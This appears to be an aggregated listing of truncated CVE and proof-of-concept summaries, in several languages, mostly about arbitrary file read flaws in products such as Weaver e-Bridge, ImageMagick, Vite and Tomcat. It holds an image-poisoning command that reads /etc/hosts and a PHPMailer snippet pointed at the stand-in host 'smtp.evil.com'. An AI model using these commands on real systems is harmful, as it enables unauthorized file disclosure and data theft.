CVE-2020-37278

Weaver e-Bridge contains an unauthenticated arbitrary file read vulnerability that allows remote attackers to access arbitrary files on the host system by supplying a file: URL to the downloadUrl parameter of the saveYZJFile endpoint. Attackers can exploit this flaw to read sensitive files such a...

cve-2023-21987-poc

cve-2023-21987-poc Уязвимость Oracle VirtualBox VGA OOB-Read Эта PoC предназначена для гостевой ОС Linux, работающей на хост-ОС Windows. Цель этой PoC — продемонстрировать возможность утечки адресов компонентов VirtualBox. Возможно, вам потребуется изменить значения указателей в функции vgaexp в...

CVE-2026-103958 Server-side request forgery in the tool server and remote agent connection handling in Loom for AWS

Server-side request forgery in the tool server and remote agent connection handling in Loom for AWS before 1.7.0 might allow an authenticated remote user to obtain the credentials of the application's own container role and to read responses from arbitrary internal network locations, via a crafte...

CVE-2022-44268-ImageMagick-Vulnerable-Docker-Environment

CVE-2022-44268 ImageMagick 임의 로컬 파일 읽기 https://www.metabaseq.com/imagemagick-zero-days/ PoC CVE-2022-44268 ImageMagick Arbitrary File Read PoC를 기반으로 docker를 사용하여 취약점 테스트 환경을 만들었습니다. 사용법 get image docker pull y1nglamore/cve202244268:latest you can also build from Dockerfile run container docker ru...

CVE-2024-24919---Exploit-Script

CVE-2024-24919---Exploit-Script Description CVE-2024-24919 est une vulnérabilité dans les appliances Check Point Security Gateway qui permet un accès non autorisé à des fichiers sensibles via l'exploitation d'un path traversal. Cette vulnérabilité permet à un attaquant de lire le contenu de...

CVE-2025-4602

eMagicOne Store Manager pour WooCommerce = 1.2.5 - Lecture Arbitraire de Fichiers Non Authentifiée Le plugin eMagicOne Store Manager pour WooCommerce expose un point de terminaison de protocole de gestion à distance ?connector=bridge qui permet des opérations de suppression de fichiers sur le...

CVE-2019-8389

CVE-2019-8389 - Произвольное чтение файлов в Musicloud для iOS v1.6 CVE-2019-8389 Эксплойт-код для эксплуатации уязвимости локального чтения файлов в приложении Musicloud v1.6 для iOS Описание: Уязвимость чтения файлов была обнаружена в функции передачи через Wi-Fi в Musicloud 1.6. По умолчанию...

Vite-CVE-2025-30208-EXP

Инструмент обнаружения CVE-2025-30208 Анализ уязвимости CVE-2025-30208 — это уязвимость произвольного чтения файлов в dev-сервере Vite. Злоумышленник может прочитать чувствительные файлы сервера например, /etc/passwd или C:\windows\win.ini, сформировав специальный путь например, с префиксом @fs...

CVE-2020-37278

The Weaver e-Bridge platform is vulnerable to an unauthenticated arbitrary file read vulnerability. This flaw exists in the saveYZJFile endpoint, where a remote attacker can supply a file: URL to the downloadUrl parameter to access arbitrary files on the host system. Successful exploitation allow...

CVE-2020-37278 Weaver e-Bridge Unauthenticated Arbitrary File Read via saveYZJFile

Weaver e-Bridge contains an unauthenticated arbitrary file read vulnerability that allows remote attackers to access arbitrary files on the host system by supplying a file: URL to the downloadUrl parameter of the saveYZJFile endpoint. Attackers can exploit this flaw to read sensitive files such a...

EUVD-2020-31274

Weaver e-Bridge contains an unauthenticated arbitrary file read vulnerability that allows remote attackers to access arbitrary files on the host system by supplying a file: URL to the downloadUrl parameter of the saveYZJFile endpoint. Attackers can exploit this flaw to read sensitive files such a...

CVE-2020-37278 Weaver e-Bridge Unauthenticated Arbitrary File Read via saveYZJFile

Weaver e-Bridge contains an unauthenticated arbitrary file read vulnerability that allows remote attackers to access arbitrary files on the host system by supplying a file: URL to the downloadUrl parameter of the saveYZJFile endpoint. Attackers can exploit this flaw to read sensitive files such a...

CVE-2022-44268

CVE-2022-44268 🧙‍♂️ CVE-2022-44268 ImageMagick Lecture de fichier arbitraire - Preuve de concept d'exploit Vidéo 📼 https://youtu.be/quKxwNAMBIA Utilisation 🛠 Empoisonner l'image ☣️ python3 CVE-2022-44268.py --image imagetopoison.png --file-to-read /etc/hosts --output poisoned.png Télécharger...

EUVD-2014-9822

CodeArt Google MP3 Audio Player plugin google-mp3-audio-player for WordPress through 1.0.11 contains an unauthenticated arbitrary file read vulnerability that allows remote attackers to retrieve sensitive files by supplying a path-traversal payload in the file parameter of directdownload.php...

CVE-2014-125130

The CodeArt Google MP3 Audio Player plugin (google-mp3-audio-player) for WordPress affects versions through 1.0.11 . It contains an unauthenticated arbitrary file read vulnerability caused by a path-traversal flaw in the file parameter of direct_download.php. Remote attackers can exploit this to ...

CVE-2023-40924

BUGAuthor: YE Затронутая версия: Contec SolarView Compact 6.00 Поставщик: https://www.contecinc.com/ Файл уязвимости: downloader.php Описание: Злоумышленник эксплуатирует уязвимость через downloader.php? Параметр file позволяет читать конфиденциальные файлы через обход каталога. downloader.php?fi...

CVE-2018-12463

CVE-2018-12463 Vulnérabilité d'injection XML externe XXE dans /ssc/fm-ws/services de Fortify Software Security Center SSC 17.10, 17.20 et 18.10 permettant à des utilisateurs distants non authentifiés de lire des fichiers arbitraires ou de mener des attaques de type server-side request forgery SSR...

ghostcat

Cet outil exploite une vulnérabilité LFI dans Apache Tomcat nommée CVE-2020-1938 pour non seulement visualiser des fichiers sensibles, mais aussi exécuter des charges utiles JSP malveillantes. Il peut être téléchargé ici vous devrez l'exécuter depuis la ligne de commande Utilisation : ghostcat...

TFTPlunder

TFTPlunder : un exploit pour CVE-2023-29930 Ceci est un script d'exploitation pour une vulnérabilité de lecture/écriture aveugle de fichiers dans le serveur de provisioning TFTP de Genesys anciennement InIn. Informations sur la vulnérabilité Cette vulnérabilité est due à des options de...

CVE-2017-5223

CVE-2017-5223 IsSMTP; $mail-Host = "smtp.evil.com"; $mail-Port = 25; $mail-SMTPAuth = true; $mail-CharSet = "UTF-8"; $mail-Encoding = "base64"; $mail-Username = "[email protected]"; $mail-Password = "tes1234t"; $mail-Subject = "hello"; $mail-From = "[email protected]"; $mail-FromName =...